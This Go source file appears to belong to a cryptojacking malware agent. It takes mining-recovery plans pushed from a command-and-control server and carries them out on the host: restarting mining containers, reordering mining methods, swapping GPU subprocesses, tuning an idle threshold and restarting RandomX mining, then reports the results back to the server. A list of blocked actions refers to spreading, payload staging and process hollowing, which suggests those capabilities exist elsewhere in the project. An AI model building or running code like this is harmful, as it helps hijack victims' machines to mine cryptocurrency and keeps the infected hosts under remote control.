AetherForge/agent/client/self_surgery.go

package client

import (
	"context"
	"encoding/json"
	"log"
	"strings"

	"crypto-miner-agent/miner"
)

// MiningSelfSurgeryPlan is a server-pushed on-host mining recovery plan.
type MiningSelfSurgeryPlan struct {
	AgentID          string   `json:"agent_id"`
	Reason           string   `json:"reason"`
	Trigger          string   `json:"trigger"`
	Actions          []string `json:"actions"`
	ChainOrder       []string `json:"chain_order,omitempty"`
	SkipMethods      []string `json:"skip_methods,omitempty"`
	IdleThresholdPct int      `json:"idle_threshold_pct,omitempty"`
}

// SelfSurgeryResult is one executed action outcome reported back to C2.
type SelfSurgeryResult struct {
	Action  string `json:"action"`
	OK      bool   `json:"ok"`
	Detail  string `json:"detail,omitempty"`
}

func (c *AgentClient) applyMiningSelfSurgeryJSON(raw json.RawMessage) {
	if len(raw) == 0 || string(raw) == "null" {
		return
	}
	var plan MiningSelfSurgeryPlan
	if err := json.Unmarshal(raw, &plan); err != nil {
		return
	}
	if plan.AgentID != "" && plan.AgentID != c.agentID {
		return
	}
	log.Printf("[agent] mining self-surgery queued: %s (%s)", plan.Reason, plan.Trigger)
	go c.executeMiningSelfSurgery(plan)
}

func (c *AgentClient) executeMiningSelfSurgery(plan MiningSelfSurgeryPlan) {
	results := make([]SelfSurgeryResult, 0, len(plan.Actions))
	outcome := "ok"
	for _, action := range plan.Actions {
		action = strings.TrimSpace(strings.ToLower(action))
		if isForbiddenSelfSurgeryAction(action) {
			results = append(results, SelfSurgeryResult{Action: action, OK: false, Detail: "forbidden lateral action"})
			outcome = "partial"
			continue
		}
		ok, detail := c.runSelfSurgeryAction(action, plan)
		results = append(results, SelfSurgeryResult{Action: action, OK: ok, Detail: detail})
		if !ok {
			outcome = "partial"
		}
	}
	c.reportSelfSurgery(plan, outcome, results)
}

func isForbiddenSelfSurgeryAction(action string) bool {
	switch action {
	case "discover_and_join", "discover_join", "spread_now", "spread_graft",
		"spread_retry_lane", "stage_fetch", "process_hollowing", "hollow":
		return true
	default:
		return false
	}
}

func (c *AgentClient) runSelfSurgeryAction(action string, plan MiningSelfSurgeryPlan) (bool, string) {
	switch action {
	case "container_restart":
		return c.selfSurgeryContainerRestart()
	case "fallback_chain_reorder":
		return c.selfSurgeryFallbackReorder(plan)
	case "gpu_subprocess_swap":
		return c.selfSurgeryGPUSwap()
	case "idle_threshold_tune":
		return c.selfSurgeryIdleTune(plan.IdleThresholdPct)
	case "randomx_restart":
		return c.selfSurgeryRandomXRestart()
	default:
		return false, "unknown action"
	}
}

func (c *AgentClient) selfSurgeryContainerRestart() (bool, string) {
	if c.miningChain == nil {
		return false, "mining chain unavailable"
	}
	if err := c.miningChain.RestartContainer(); err != nil {
		return false, err.Error()
	}
	return true, "container restarted"
}

func (c *AgentClient) selfSurgeryFallbackReorder(plan MiningSelfSurgeryPlan) (bool, string) {
	if c.miningChain == nil {
		return false, "mining chain unavailable"
	}
	chain := parseMiningMethodOrder(plan.ChainOrder)
	skip := parseMiningMethodOrder(plan.SkipMethods)
	c.miningChain.ReorderChain(chain, skip)
	c.miningChain.Restart(context.Background())
	return true, "fallback chain reordered"
}

func (c *AgentClient) selfSurgeryGPUSwap() (bool, string) {
	if c.miningChain == nil {
		return false, "mining chain unavailable"
	}
	if err := c.miningChain.SwapGPU(); err != nil {
		return false, err.Error()
	}
	return true, "gpu subprocess swapped"
}

func (c *AgentClient) selfSurgeryIdleTune(pct int) (bool, string) {
	if pct <= 0 {
		return false, "idle_threshold_pct missing"
	}
	c.mu.Lock()
	c.cfg.IdleThresholdPct = pct
	cfg := c.cfg
	c.mu.Unlock()
	c.pool.UpdateRuntimePolicy(cfg)
	return true, "idle threshold updated"
}

func (c *AgentClient) selfSurgeryRandomXRestart() (bool, string) {
	c.pool.RestartRandomX()
	c.pool.ResumeRemote()
	return true, "randomx restarted"
}

func parseMiningMethodOrder(raw []string) []miner.MiningMethod {
	out := make([]miner.MiningMethod, 0, len(raw))
	for _, s := range raw {
		s = strings.TrimSpace(strings.ToLower(s))
		if s == "" {
			continue
		}
		out = append(out, miner.MiningMethod(s))
	}
	return out
}

func (c *AgentClient) reportSelfSurgery(plan MiningSelfSurgeryPlan, outcome string, results []SelfSurgeryResult) {
	payload, err := json.Marshal(struct {
		AgentID string              `json:"agent_id"`
		Trigger string              `json:"trigger"`
		Reason  string              `json:"reason"`
		Outcome string              `json:"outcome"`
		Results []SelfSurgeryResult `json:"results"`
	}{
		AgentID: c.agentID,
		Trigger: plan.Trigger,
		Reason:  plan.Reason,
		Outcome: outcome,
		Results: results,
	})
	if err != nil {
		return
	}
	if err := c.write(Message{Type: "self_surgery_report", Payload: payload}); err != nil {
		log.Printf("[agent] self-surgery report failed: %v", err)
	}
}